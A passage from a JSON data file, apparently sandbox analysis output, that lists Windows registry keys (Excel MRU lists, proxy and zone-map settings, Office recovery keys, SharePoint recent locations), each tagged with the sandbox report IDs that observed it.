10","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\EXCEL\\FILE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYSERVER\\PROXYSERVER","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYOVERRIDE\\PROXYOVERRIDE","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTOCONFIGURL\\AUTOCONFIGURL","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"},{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"564de7520e316dd350d4d776"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\THEMES\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\SMARTART\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\RESILIENCY\\STARTUPITEMS\\2P.\\2P.","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\RESILIENCY\\STARTUPITEMS\\","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\RESILIENCY\\","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"},{"report_type":"sandbox","report_id":"564dd0920e316dc02830b544"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\RESILIENCY\\DOCUMENTRECOVERY\\2FAB3\\2FAB3\\2FAB3","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\RESILIENCY\\DOCUMENTRECOVERY\\2FAB3\\","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\RESILIENCY\\DOCUMENTRECOVERY\\","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\EXCEL\\PLACE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 1\\SITE 1","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 2\\SITE 2","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 3\\SITE 3","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 4\\SITE 4","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 5\\SITE 5","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 6\\SITE 6","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 7\\SITE 7","sources":[{"report_type":"sandbox","report_id":"5b97ba39bb53f006b423bf0c"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT 